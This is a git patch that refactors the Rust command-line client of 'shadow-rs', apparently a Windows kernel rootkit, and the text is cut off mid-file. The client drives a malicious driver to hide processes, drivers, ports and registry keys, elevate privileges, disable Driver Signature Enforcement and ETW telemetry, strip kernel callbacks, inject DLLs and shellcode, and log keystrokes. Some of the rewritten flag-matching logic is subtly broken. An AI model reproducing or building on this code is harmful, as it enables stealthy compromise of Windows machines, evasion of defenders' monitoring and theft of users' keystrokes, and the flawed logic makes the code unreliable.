From e53ca7aba972bb54699e36fa9c3dadeede453419 Mon Sep 17 00:00:00 2001 From: joaoviictorti Date: Sat, 5 Jul 2025 01:26:41 -0300 Subject: [PATCH] style: cleaned up CLI code and comments --- client/Cargo.toml | 2 +- client/src/cli.rs | 19 ++- client/src/main.rs | 208 ++++++++++++++++++-------------- client/src/modules/callback.rs | 64 +++++----- client/src/modules/driver.rs | 58 ++++----- client/src/modules/injection.rs | 41 +++---- client/src/modules/misc.rs | 39 +++--- client/src/modules/mod.rs | 26 ++-- client/src/modules/module.rs | 52 ++++---- client/src/modules/network.rs | 28 +++-- client/src/modules/process.rs | 70 +++++------ client/src/modules/registry.rs | 42 +++---- client/src/modules/thread.rs | 58 ++++----- client/src/utils/keylogger.rs | 28 +++-- client/src/utils/mod.rs | 19 +-- 15 files changed, 410 insertions(+), 344 deletions(-) diff --git a/client/Cargo.toml b/client/Cargo.toml index 9f1f76f..b5c4ef1 100644 --- a/client/Cargo.toml +++ b/client/Cargo.toml @@ -1,7 +1,7 @@ [package] name = "shadow-rs" version = "0.1.0" -edition = "2021" +edition = "2024" [dependencies] log = "0.4.22" diff --git a/client/src/cli.rs b/client/src/cli.rs index d0102cf..44196d0 100644 --- a/client/src/cli.rs +++ b/client/src/cli.rs @@ -1,7 +1,14 @@ #![allow(non_camel_case_types)] -use crate::utils::{validate_sys_extension, Callbacks, Options, PortType, Protocol, BANNER}; use clap::{arg, ArgAction, Parser, Subcommand, ValueHint}; +use crate::utils::{ + validate_sys_extension, + Callbacks, + Options, + PortType, + Protocol, + BANNER +}; /// The main command-line interface struct. #[derive(Parser)] @@ -79,7 +86,7 @@ pub enum Commands { /// Type Port #[arg(long, required = true)] - type_: PortType, + r#type: PortType, /// Number port. #[arg(short, required = true)] @@ -204,7 +211,7 @@ pub enum InjectionCommands { /// Type shellcode #[arg(long, short, required = true)] - type_: InjectionTypes, + r#type: InjectionTypes, }, /// Shellcode Injection @@ -219,7 +226,7 @@ pub enum InjectionCommands { /// Type shellcode #[arg(long, short, required = true)] - type_: InjectionTypes, + r#type: InjectionTypes, }, } @@ -292,7 +299,7 @@ pub enum ProcessCommands { // Types Enumerate #[arg(long, short, required = true)] - type_: Options, + r#type: Options, }, } @@ -391,7 +398,7 @@ pub enum ThreadCommands { // Types Enumerate #[arg(long, short, required = true)] - type_: Options, + r#type: Options, }, } diff --git a/client/src/main.rs b/client/src/main.rs index b27d37c..7e25d8d 100644 --- a/client/src/main.rs +++ b/client/src/main.rs @@ -1,226 +1,258 @@ -use cli::*; -use common::ioctls::*; use clap::Parser; +use log::{warn, error}; + +use cli::*; +use modules::*; +use common::ioctls::*; use utils::{init_logger, BANNER}; -use modules::{ - callback::Callback, - driver::Driver, - injection::Injection, - misc::Misc, - module::Module, - network::Network, - process::Process, - thread::Thread, -}; #[cfg(not(feature = "mapper"))] use modules::registry::Registry; -mod cli; -mod modules; #[macro_use] mod utils; +mod cli; +mod modules; fn main() { let args = Cli::parse(); init_logger(args.verbose); - println!("{BANNER}"); match &args.command { + // Process-related operations Commands::Process { sub_command } => { let mut process = Process::new(); match sub_command { + // Elevate privileges of a specific process ProcessCommands::Elevate { pid } => { process.elevate_process(Some(pid), ELEVATE_PROCESS); } + + // Hide or unhide a process by PID ProcessCommands::Hide { pid } | ProcessCommands::Unhide { pid } => { let hide = matches!(sub_command, ProcessCommands::Hide { .. }); process.hide_unhide_process(Some(pid), HIDE_UNHIDE_PROCESS, hide); } + + // Terminate a process by PID ProcessCommands::Terminate { pid } => { process.terminate_process(Some(pid), TERMINATE_PROCESS); } + + // Apply or remove a signature from a process ProcessCommands::Signature { pid, pt, sg } => { process.signature_process(Some(pid), SIGNATURE_PROCESS, sg, pt); } + + // Add or remove protection flags from a process (if feature "mapper" is not enabled) #[cfg(not(feature = "mapper"))] ProcessCommands::Protection { pid, add, remove } => { - match (*add, *remove) { - (true, false) => process.protection_process(Some(pid), PROTECTION_PROCESS, true), + match (add == &true, remove == &false) { + (true, true) => process.protection_process(Some(pid), PROTECTION_PROCESS, true), (false, true) => process.protection_process(Some(pid), PROTECTION_PROCESS, false), - _ => log::error!("No action provided"), + _ => error!("No action provided"), } } - ProcessCommands::Enumerate { list, type_ } if *list => { - process.enumerate_process(ENUMERATION_PROCESS, type_); + + // List running processes + ProcessCommands::Enumerate { list, r#type } if *list => { + process.enumerate_process(ENUMERATION_PROCESS, r#type); } - _ => log::error!("Invalid or unsupported process command"), + + _ => error!("Invalid or unsupported process command"), } } + // Thread-related operations Commands::Thread { sub_command } => { let thread = Thread::new(); match sub_command { + // Hide or unhide a thread by TID ThreadCommands::Hide { tid } | ThreadCommands::Unhide { tid } => { let hide = matches!(sub_command, ThreadCommands::Hide { .. }); thread.hide_unhide_thread(Some(tid), HIDE_UNHIDE_THREAD, hide); } + // Add or remove protection from a thread (if feature "mapper" is not enabled) #[cfg(not(feature = "mapper"))] ThreadCommands::Protection { tid, add, remove } => { - match (*add, *remove) { - (true, false) => thread.protection_thread(Some(tid), PROTECTION_THREAD, true), + match (add == &true, remove == &false) { + (true, true) => thread.protection_thread(Some(tid), PROTECTION_THREAD, true), (false, true) => thread.protection_thread(Some(tid), PROTECTION_THREAD, false), - _ => log::error!("No action provided"), + _ => error!("No action provided"), } } - ThreadCommands::Enumerate { list, type_ } if *list => { - thread.enumerate_thread(ENUMERATION_THREAD, type_); + // List threads in the system + ThreadCommands::Enumerate { list, r#type } if *list => { + thread.enumerate_thread(ENUMERATION_THREAD, r#type); } - _ => log::error!("Invalid or unsupported thread command"), + _ => error!("Invalid or unsupported thread command"), } } + // Driver-related operations Commands::Driver { sub_command, hide, unhide, list, name } => { let driver = Driver::new(); + + // List all loaded drivers if *list { return driver.enumerate_driver(ENUMERATE_DRIVER); } + // Hide or unhide a specific driver if let Some(name) = name { if *hide || *unhide { - return driver.unhide_hide_driver(HIDE_UNHIDE_DRIVER, &name, *hide); + return driver.unhide_hide_driver(HIDE_UNHIDE_DRIVER, name, *hide); } } - match sub_command { - Some(DriverCommands::Block { name, add, remove }) => { - if let Some(name) = name { - if *add || *remove{ - driver.block_driver(BLOCK_DRIVER, name, *add); - } else { - log::warn!("You must specify either --add or --remove."); - } + // Block or unblock a driver from loading + if let Some(DriverCommands::Block { name, add, remove }) = sub_command { + if let Some(name) = name { + if *add || *remove { + driver.block_driver(BLOCK_DRIVER, name, *add); + } else { + warn!("You must specify either --add or --remove."); } - }, - None => {} + } } } + // Miscellaneous system functions Commands::Misc { sub_command } => { let misc = Misc::new(); match sub_command { + // Enable or disable Driver Signature Enforcement (DSE) MisCommands::DSE { disable, enable } => { - match (*enable, *disable) { - (true, false) => misc.dse(ENABLE_DSE, true), + match (enable == &true, disable == &false) { + (true, true) => misc.dse(ENABLE_DSE, true), (false, true) => misc.dse(ENABLE_DSE, false), - _ => log::error!("No action provided"), + _ => error!("No action provided"), } } - MisCommands::Keylogger { file } => misc.keylogger(KEYLOGGER, file), + + // Start keylogger with optional output path + MisCommands::Keylogger { file } => { + misc.keylogger(KEYLOGGER, file); + } + + // Enable or disable ETWTI (ETW telemetry interception) MisCommands::Etwti { disable, enable } => { - match (*enable, *disable) { - (true, false) => misc.etwti(ETWTI, true), + match (enable == &true, disable == &false) { + (true, true) => misc.etwti(ETWTI, true), (false, true) => misc.etwti(ETWTI, false), - _ => log::error!("No action provided"), + _ => error!("No action provided"), } } } } - Commands::Network { - hide, - unhide, - protocol, - type_, - port_number, - } => { - let network = Network::new(); - if *hide || *unhide { - network.hide_unhide_port(HIDE_PORT, *protocol, *type_, *port_number, *hide); - } else { - log::error!("No action provided. Use --hide or --unhide."); - } - } + // Hide or unhide TCP/UDP ports + Commands::Network { hide, unhide, protocol, r#type, port_number } => { + let network = Network::new(); + if *hide || *unhide { + network.hide_unhide_port(HIDE_PORT, *protocol, *r#type, *port_number, *hide); + } else { + error!("No action provided. Use --hide or --unhide."); + } + } + + // Registry-related operations (if feature "mapper" is not enabled) #[cfg(not(feature = "mapper"))] Commands::Registry { sub_command } => { let registry = Registry::new(); - + match sub_command { + // Add or remove registry protection for a key or value RegistryCommands::Protect { key, name, add, remove } => { - match (*add, *remove) { - (true, true) => log::error!("Both add and remove options cannot be specified at the same time"), + match (add == &true, remove == &true) { + (true, true) => error!("Both add and remove options cannot be specified at the same time"), (true, false) | (false, true) => { let action = *add; let reg_type = if name.is_some() { REGISTRY_PROTECTION_VALUE } else { REGISTRY_PROTECTION_KEY }; - let reg_name = name.clone().unwrap_or_else(|| "".to_string()); - + let reg_name = name.clone().unwrap_or_default(); + registry.registry_protection(reg_type, ®_name, key, action); } - _ => log::error!("Either add or remove must be specified"), + _ => error!("Either add or remove must be specified"), } } - + + // Hide or unhide a registry key or value RegistryCommands::Hide { key, value } | RegistryCommands::Unhide { key, value } => { let action = matches!(sub_command, RegistryCommands::Hide { .. }); let reg_type = if value.is_some() { HIDE_UNHIDE_VALUE } else { HIDE_UNHIDE_KEY }; - let reg_name = value.clone().unwrap_or_else(|| "".to_string()); - + let reg_name = value.clone().unwrap_or_default(); + registry.registry_hide_unhide(reg_type, ®_name, key, action); } } - } + } + // Module-related operations (DLLs loaded into processes) Commands::Module { sub_command } => { let module = Module::new(); + match sub_command { - ModuleCommands::Enumerate { pid } => module.enumerate_module(ENUMERATE_MODULE, pid), - ModuleCommands::Hide { name, pid } => module.hide_module(HIDE_MODULE, name, *pid), + // List modules for a given process + ModuleCommands::Enumerate { pid } => { + module.enumerate_module(ENUMERATE_MODULE, pid); + } + + // Hide a module (DLL) from a process + ModuleCommands::Hide { name, pid } => { + module.hide_module(HIDE_MODULE, name, *pid); + } } } - Commands::Callback { - list, - enumerate, - remove, - restore, - callback, - } => { + // Callback hook management (remove, restore, list) + Commands::Callback { list, enumerate, remove, restore, callback } => { let callbacks = Callback::new(); - + if *list || *enumerate { - let enum_type = if *list { ENUMERATE_CALLBACK } else { ENUMERATE_REMOVED_CALLBACK }; + let enum_type = if *list { + ENUMERATE_CALLBACK + } else { + ENUMERATE_REMOVED_CALLBACK + }; + callbacks.enumerate_callback(enum_type, callback); return; } - + match (remove, restore) { (Some(index), None) => callbacks.remove_callback(*index, REMOVE_CALLBACK, callback), (None, Some(index)) => callbacks.restore_callback(*index, RESTORE_CALLBACK, callback), - (Some(_), Some(_)) => log::error!("Cannot remove and restore at the same time"), - (None, None) => log::error!("No action provided for callback"), + (Some(_), Some(_)) => error!("Cannot remove and restore at the same time"), + (None, None) => error!("No action provided for callback"), } - } + } + // Injection-related operations (DLL/shellcode into processes) Commands::Injection { sub_command } => { let injection = Injection::new(); + match sub_command { - InjectionCommands::DLL { pid, path, type_ } => match type_ { + // Inject DLL using selected technique + InjectionCommands::DLL { pid, path, r#type } => match r#type { InjectionTypes::Thread => injection.injection(INJECTION_DLL_THREAD, pid, path), InjectionTypes::APC => injection.injection(INJECTION_DLL_APC, pid, path), - InjectionTypes::ThreadHijacking => log::error!("No Supported") + InjectionTypes::ThreadHijacking => error!("Thread hijacking for DLLs is not supported"), }, - InjectionCommands::Shellcode { pid, path, type_ } => match type_ { + + // Inject shellcode using selected technique + InjectionCommands::Shellcode { pid, path, r#type } => match r#type { InjectionTypes::Thread => injection.injection(INJECTION_SHELLCODE_THREAD, pid, path), InjectionTypes::APC => injection.injection(INJECTION_SHELLCODE_APC, pid, path), - InjectionTypes::ThreadHijacking => injection.injection(INJECTION_SHELLCODE_THREAD_HIJACKING, pid, path) + InjectionTypes::ThreadHijacking => injection.injection(INJECTION_SHELLCODE_THREAD_HIJACKING, pid, path), }, } } diff --git a/client/src/modules/callback.rs b/client/src/modules/callback.rs index 769b17d..8a8e054 100644 --- a/client/src/modules/callback.rs +++ b/client/src/modules/callback.rs @@ -1,15 +1,15 @@ -use crate::{utils::open_driver, utils::Callbacks}; -use common::structs::{CallbackInfoInput, CallbackInfoOutput}; use std::{ffi::c_void, mem::size_of, ptr::null_mut}; +use log::{info, error, debug}; use windows_sys::Win32::{ Foundation::{CloseHandle, GetLastError, HANDLE}, System::IO::DeviceIoControl, }; +use common::structs::{CallbackInfoInput, CallbackInfoOutput}; +use crate::{utils::open_driver, utils::Callbacks}; + /// Provides operations for managing callbacks through a driver interface. -pub struct Callback { - driver_handle: HANDLE, -} +pub struct Callback(HANDLE); impl Callback { /// Creates a new `Callback` instance, opening a handle to the driver. @@ -22,8 +22,8 @@ impl Callback { /// /// Panics if the driver cannot be opened. pub fn new() -> Self { - let driver_handle = open_driver().expect("Error"); - Callback { driver_handle } + let h_driver = open_driver().expect("Error"); + Self(h_driver) } /// Enumerates all callbacks associated with a specified callback type. @@ -33,9 +33,8 @@ impl Callback { /// * `ioctl_code` - The IOCTL code for the enumeration operation. /// * `callback` - Reference to the `Callbacks` struct, defining the type of callback to enumerate. pub fn enumerate_callback(self, ioctl_code: u32, callback: &Callbacks) { - log::debug!("Attempting to open the driver for callback enumeration"); - - log::debug!("Allocating memory for callback information"); + debug!("Attempting to open the driver for callback enumeration"); + debug!("Allocating memory for callback information"); let mut return_buffer = 0; let mut callback_info: [CallbackInfoOutput; 400] = unsafe { std::mem::zeroed() }; let mut input_callback = CallbackInfoInput { @@ -43,10 +42,10 @@ impl Callback { callback: callback.to_shared(), }; - log::debug!("Sending DeviceIoControl command to enumerate callbacks"); + debug!("Sending DeviceIoControl command to enumerate callbacks"); let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut input_callback as *mut _ as *mut c_void, size_of::() as u32, @@ -58,13 +57,13 @@ impl Callback { }; if status == 0 { - log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); } else { let total_modules = return_buffer as usize / size_of::(); - log::info!("Total callbacks found: {}", total_modules); - log::info!("Listing callbacks:"); + info!("Total callbacks found: {}", total_modules); + info!("Listing callbacks:"); println!(""); for i in callback_info.iter() { @@ -72,7 +71,7 @@ impl Callback { let name = match String::from_utf16(&i.name) { Ok(name) => name.trim_end_matches('\0').to_string(), Err(err) => { - log::error!("UTF-16 decoding error: {:?}", err); + error!("UTF-16 decoding error: {:?}", err); continue; } }; @@ -81,7 +80,7 @@ impl Callback { let name = match String::from_utf16(&i.name) { Ok(name) => name.trim_end_matches('\0').to_string(), Err(err) => { - log::error!("UTF-16 decoding error: {:?}", err); + error!("UTF-16 decoding error: {:?}", err); continue; } }; @@ -91,7 +90,7 @@ impl Callback { } } println!(""); - log::info!("Callback enumeration completed") + info!("Callback enumeration completed") } } @@ -103,19 +102,18 @@ impl Callback { /// * `ioctl_code` - The IOCTL code for the remove operation. /// * `callback` - Reference to the `Callbacks` struct, defining the type of callback. pub fn remove_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) { - log::debug!("Attempting to open the driver to remove callback at index: {index}"); - - log::debug!("Preparing structure to remove callback at index: {}", index); + debug!("Attempting to open the driver to remove callback at index: {index}"); + debug!("Preparing structure to remove callback at index: {}", index); let mut callback_info = CallbackInfoInput { index, callback: callback.to_shared(), }; - log::debug!("Sending DeviceIoControl command to remove callback at index: {index}"); + debug!("Sending DeviceIoControl command to remove callback at index: {index}"); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut callback_info as *mut _ as *mut c_void, size_of::() as u32, @@ -127,9 +125,9 @@ impl Callback { }; if status == 0 { - log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("Successfully removed callback at index: {index}"); + info!("Successfully removed callback at index: {index}"); } } @@ -141,19 +139,19 @@ impl Callback { /// * `ioctl_code` - The IOCTL code for the restore operation. /// * `callback` - Reference to the `Callbacks` struct, defining the type of callback. pub fn restore_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) { - log::debug!("Attempting to open the driver to restore callback at index: {index}"); + debug!("Attempting to open the driver to restore callback at index: {index}"); - log::debug!("Preparing structure to restore callback at index: {index}"); + debug!("Preparing structure to restore callback at index: {index}"); let mut callback_info = CallbackInfoInput { index, callback: callback.to_shared(), }; - log::debug!("Sending DeviceIoControl command to restore callback at index: {index}"); + debug!("Sending DeviceIoControl command to restore callback at index: {index}"); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut callback_info as *mut _ as *mut c_void, size_of::() as u32, @@ -165,9 +163,9 @@ impl Callback { }; if status == 0 { - log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("Successfully restored callback at index: {index}"); + info!("Successfully restored callback at index: {index}"); } } } @@ -175,7 +173,7 @@ impl Callback { impl Drop for Callback { /// Ensures the driver handle is closed when `Callback` goes out of scope. fn drop(&mut self) { - log::debug!("Closing the driver handle"); - unsafe { CloseHandle(self.driver_handle) }; + debug!("Closing the driver handle"); + unsafe { CloseHandle(self.0) }; } } diff --git a/client/src/modules/driver.rs b/client/src/modules/driver.rs index 39bc627..78d0a15 100644 --- a/client/src/modules/driver.rs +++ b/client/src/modules/driver.rs @@ -1,15 +1,15 @@ -use crate::utils::open_driver; -use common::structs::{DriverInfo, TargetDriver}; use std::{ffi::c_void, ptr::null_mut}; +use log::{info, error, debug}; use windows_sys::Win32::{ Foundation::{CloseHandle, GetLastError, HANDLE}, System::IO::DeviceIoControl, }; +use common::structs::{DriverInfo, TargetDriver}; +use crate::utils::open_driver; + /// Provides operations for managing drivers through a driver interface. -pub struct Driver { - driver_handle: HANDLE, -} +pub struct Driver(HANDLE); impl Driver { /// Creates a new `Driver` instance, opening a handle to the driver. @@ -22,8 +22,8 @@ impl Driver { /// /// Panics if the driver cannot be opened. pub fn new() -> Self { - let driver_handle = open_driver().expect("Error"); - Driver { driver_handle } + let h_driver = open_driver().expect("Error"); + Self(h_driver) } /// Hides or unhides a driver based on its name. @@ -34,19 +34,19 @@ impl Driver { /// * `name` - The name of the driver to hide or unhide. /// * `enable` - `true` to hide or `false` to unhide the driver. pub fn unhide_hide_driver(self, ioctl_code: u32, name: &String, enable: bool) { - log::debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" }); - log::debug!("Preparing structure for: {}", name); + debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" }); + debug!("Preparing structure for: {}", name); let mut info_driver = TargetDriver { name: name.to_string(), enable, ..Default::default() }; - log::debug!("Sending DeviceIoControl command to {} driver", if enable { "hide" } else { "unhide" }); + debug!("Sending DeviceIoControl command to {} driver", if enable { "hide" } else { "unhide" }); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut info_driver as *mut _ as *mut c_void, size_of::() as u32, @@ -58,9 +58,9 @@ impl Driver { }; if status == 0 { - log::error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError()}); + error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError()}); } else { - log::info!("Driver successfully {}hidden", if enable { "" } else { "un" }); + info!("Driver successfully {}hidden", if enable { "" } else { "un" }); } } @@ -72,18 +72,18 @@ impl Driver { /// - `name` - The name of the driver to block or unblock. /// - `enable` - `true` to block the driver, `false` to unblock. pub fn block_driver(self, ioctl_code: u32, name: &String, enable: bool) { - log::debug!("Preparing structure for: {}", name); + debug!("Preparing structure for: {}", name); let mut info_driver = TargetDriver { name: name.to_string(), enable, ..Default::default() }; - log::debug!("Sending DeviceIoControl command to {} driver", if enable { "block" } else { "unblock" }); + debug!("Sending DeviceIoControl command to {} driver", if enable { "block" } else { "unblock" }); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut info_driver as *mut _ as *mut c_void, size_of::() as u32, @@ -95,9 +95,9 @@ impl Driver { }; if status == 0 { - log::error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError()}); + error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError()}); } else { - log::info!("Driver successfully {}block", if enable { "" } else { "un" }); + info!("Driver successfully {}block", if enable { "" } else { "un" }); } } @@ -107,15 +107,15 @@ impl Driver { /// /// * `ioctl_code` - The IOCTL code for the enumeration operation. pub fn enumerate_driver(self, ioctl_code: u32) { - log::debug!("Attempting to open the driver for enumeration"); - log::debug!("Allocating memory for driver info"); + debug!("Attempting to open the driver for enumeration"); + debug!("Allocating memory for driver info"); let mut driver_info: [DriverInfo; 400] = unsafe { std::mem::zeroed() }; - log::debug!("Sending DeviceIoControl command to enumerate drivers"); + debug!("Sending DeviceIoControl command to enumerate drivers"); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, null_mut(), 0, @@ -127,11 +127,11 @@ impl Driver { }; if status == 0 { - log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); } else { let total_modules = return_buffer as usize / size_of::(); - log::info!("Total modules found: {}", total_modules); - log::info!("Listing drivers:"); + info!("Total modules found: {}", total_modules); + info!("Listing drivers:"); println!(""); for i in driver_info.iter() { @@ -139,7 +139,7 @@ impl Driver { let name = match String::from_utf16(&i.name) { Ok(name) => name, Err(err) => { - log::error!("UTF-16 decoding error: {:?}", err); + error!("UTF-16 decoding error: {:?}", err); continue; } }; @@ -148,7 +148,7 @@ impl Driver { } } println!(""); - log::info!("Driver enumeration completed."); + info!("Driver enumeration completed."); } } } @@ -156,7 +156,7 @@ impl Driver { impl Drop for Driver { /// Ensures the driver handle is closed when `Driver` goes out of scope. fn drop(&mut self) { - log::debug!("Closing the driver handle"); - unsafe { CloseHandle(self.driver_handle) }; + debug!("Closing the driver handle"); + unsafe { CloseHandle(self.0) }; } } diff --git a/client/src/modules/injection.rs b/client/src/modules/injection.rs index e8c7e1d..e656e0b 100644 --- a/client/src/modules/injection.rs +++ b/client/src/modules/injection.rs @@ -1,29 +1,29 @@ -use crate::{utils::check_file, utils::open_driver}; -use common::structs::TargetInjection; use std::{ffi::c_void, ptr::null_mut}; +use log::{info, error, debug}; use windows_sys::Win32::{ Foundation::{CloseHandle, HANDLE}, System::IO::DeviceIoControl, }; +use common::structs::TargetInjection; +use crate::{utils::check_file, utils::open_driver}; + /// Provides operations for injecting code into processes through a driver interface. -pub struct Injection { - driver_handle: HANDLE, -} +pub struct Injection(HANDLE); impl Injection { - /// Creates a new `Injection` instance, opening a handle to the driver. + /// Creates a new [`Injection`] instance, opening a handle to the driver. /// /// # Returns /// - /// * An instance of `Injection`. + /// * An instance of [`Injection`]. /// /// # Panics /// /// Panics if the driver cannot be opened. pub fn new() -> Self { - let driver_handle = open_driver().expect("Error"); - Injection { driver_handle } + let h_driver = open_driver().expect("Error"); + Self(h_driver) } /// Injects code into a process's thread specified by `pid` using a file at `path`. @@ -34,26 +34,25 @@ impl Injection { /// * `pid` - A reference to the PID of the target process. /// * `path` - The file path of the code to inject. pub fn injection(self, ioctl_code: u32, pid: &u32, path: &String) { - log::info!("Starting process injection for PID: {pid}, using file: {path}"); - - log::info!("Checking if the file exists at the specified path"); + info!("Starting process injection for PID: {pid}, using file: {path}"); + info!("Checking if the file exists at the specified path"); if !check_file(path) { - log::error!("File not found at the specified path: {path}. Please check the file path and try again"); + error!("File not found at the specified path: {path}. Please check the file path and try again"); return; } - log::info!("File found!!!"); - log::debug!("Preparing injection structure"); + info!("File found!!!"); + debug!("Preparing injection structure"); let mut info_injection = TargetInjection { path: path.to_string(), pid: *pid as usize, }; - log::debug!("Sending DeviceIoControl command to Process Injection"); + debug!("Sending DeviceIoControl command to Process Injection"); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut info_injection as *mut _ as *mut c_void, size_of::() as u32, @@ -65,9 +64,9 @@ impl Injection { }; if status == 0 { - log::error!("DeviceIoControl Failed with status: 0x{:08X}", status); + error!("DeviceIoControl Failed with status: 0x{:08X}", status); } else { - log::info!("Process injection was successfully performed on PID: {pid} using the file at path: {path}"); + info!("Process injection was successfully performed on PID: {pid} using the file at path: {path}"); } } } @@ -75,7 +74,7 @@ impl Injection { impl Drop for Injection { /// Ensures the driver handle is closed when `Injection` goes out of scope. fn drop(&mut self) { - log::debug!("Closing the driver handle"); - unsafe { CloseHandle(self.driver_handle) }; + debug!("Closing the driver handle"); + unsafe { CloseHandle(self.0) }; } } diff --git a/client/src/modules/misc.rs b/client/src/modules/misc.rs index ff2c52c..7f40a94 100644 --- a/client/src/modules/misc.rs +++ b/client/src/modules/misc.rs @@ -7,6 +7,7 @@ use std::{ time::Duration, }; +use log::{info, error, debug}; use windows_sys::Win32::{ Foundation::{ CloseHandle, GetLastError, @@ -33,9 +34,7 @@ pub static mut KEY_RECENT: [u8; 64] = [0; 64]; /// Provides miscellaneous system functionalities through a driver interface, such as /// Driver Signature Enforcement (DSE) toggling, ETWTI management, and keylogging. -pub struct Misc { - driver_handle: HANDLE, -} +pub struct Misc(HANDLE); impl Misc { /// Creates a new `Misc` instance, opening a handle to the driver. @@ -48,8 +47,8 @@ impl Misc { /// /// Panics if the driver cannot be opened. pub fn new() -> Self { - let driver_handle = open_driver().expect("Error"); - Misc { driver_handle } + let h_driver = open_driver().expect("Error"); + Self(h_driver) } /// Enables or disables Driver Signature Enforcement (DSE). @@ -59,14 +58,14 @@ impl Misc { /// * `ioctl_code` - The IOCTL code for the DSE operation. /// * `enable` - `true` to enable DSE or `false` to disable it. pub fn dse(self, ioctl_code: u32, enable: bool) { - log::debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" }); + debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" }); let mut info_dse = DSE { enable }; - log::debug!("Sending DeviceIoControl command to {} DSE", if enable { "enable" } else { "disable" }); + debug!("Sending DeviceIoControl command to {} DSE", if enable { "enable" } else { "disable" }); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut info_dse as *mut _ as *mut c_void, size_of::() as u32, @@ -78,9 +77,9 @@ impl Misc { }; if status == 0 { - log::error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("Driver Signature Enforcement (DSE) {}", if enable { "enable" } else { "disable" }); + info!("Driver Signature Enforcement (DSE) {}", if enable { "enable" } else { "disable" }); } } @@ -95,7 +94,7 @@ impl Misc { let mut address = 0usize; let mut return_buffer = 0; let status = DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, null_mut(), 0, @@ -106,7 +105,7 @@ impl Misc { ); if status == 0 { - log::error!("DeviceIoControl Failed With Status: 0x{:08X}", GetLastError()); + error!("DeviceIoControl Failed With Status: 0x{:08X}", GetLastError()); return; } @@ -141,7 +140,7 @@ impl Misc { for i in 0..256 { if key_pressed(i as u8) { let key = vk_to_char(i as u8); - log::debug!("{key}"); + debug!("{key}"); writeln!(writer, "{}", key).expect("Failed to write to file"); writer.flush().expect("Failed to flush file buffer"); } @@ -162,14 +161,14 @@ impl Misc { /// * `ioctl_code` - The IOCTL code for the ETWTI operation. /// * `enable` - `true` to enable ETWTI or `false` to disable it. pub fn etwti(self, ioctl_code: u32, enable: bool) { - log::debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" }); + debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" }); let mut etwti = ETWTI { enable }; - log::debug!("Sending DeviceIoControl command to {} ETWTI", if enable { "enable" } else { "disable" }); + debug!("Sending DeviceIoControl command to {} ETWTI", if enable { "enable" } else { "disable" }); let mut return_buffer = 0; let status = unsafe { DeviceIoControl( - self.driver_handle, + self.0, ioctl_code, &mut etwti as *mut _ as *mut c_void, std::mem::size_of::() as u32, @@ -181,9 +180,9 @@ impl Misc { }; if status == 0 { - log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); + error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() }); } else { - log::info!("ETWTI {}", if enable { "enable" } else { "disable" }) + info!("ETWTI {}", if enable { "enable" } else { "disable" }) } } } @@ -191,7 +190,7 @@ impl Misc { impl Drop for Misc { /// Ensures the driver handle is closed when `Misc` goes out of scope. fn drop(&mut self) { - log::debug!("Closing the driver handle"); - unsafe { CloseHandle(self.driver_handle) }; + debug!("Closing the driver handle"); + unsafe { CloseHandle(self.0) }; } } diff --git a/client/src/modules/mod.rs b/client/src/modules/mod.rs index 7f7a7fb..71e769b 100644 --- a/client/src/modules/mod.rs +++ b/client/src/modules/mod.rs @@ -1,12 +1,22 @@ #![allow(static_mut_refs)] -pub mod callback; -pub mod driver; -pub mod injection; -pub mod misc; -pub mod module; -pub mod network; -pub mod process; +mod callback; +mod driver; +mod injection; +mod misc; +mod module; +mod network; +mod process; +mod thread; + +pub use callback::*; +pub use driver::*; +pub use injection::*; +pub use misc::*; +pub use module::*; +pub use network::*; +pub use process::*; +pub use thread::*; + #[cfg(not(feature = "mapper"))] pub mod registry; -pub mod thread; diff --git a/client/src/modules/module.rs b/client/src/modules/module.rs index 064df5f..e0f7836 100644 --- a/client/src/modules/module.rs +++ b/client/src/modules/module.rs @@ -1,15 +1,19 @@ -use crate::utils::open_driver; -use common::structs::{ModuleInfo, TargetModule, TargetProcess}; use std::{ffi::c_void, mem::size_of, ptr::null_mut}; +use log::{info, error, debug}; use windows_sys::Win32::{ Foundation::{CloseHandle, GetLastError, HANDLE}, System::IO::DeviceIoControl, }; +use crate::utils::open_driver; +use common::structs::{ + ModuleInfo, + 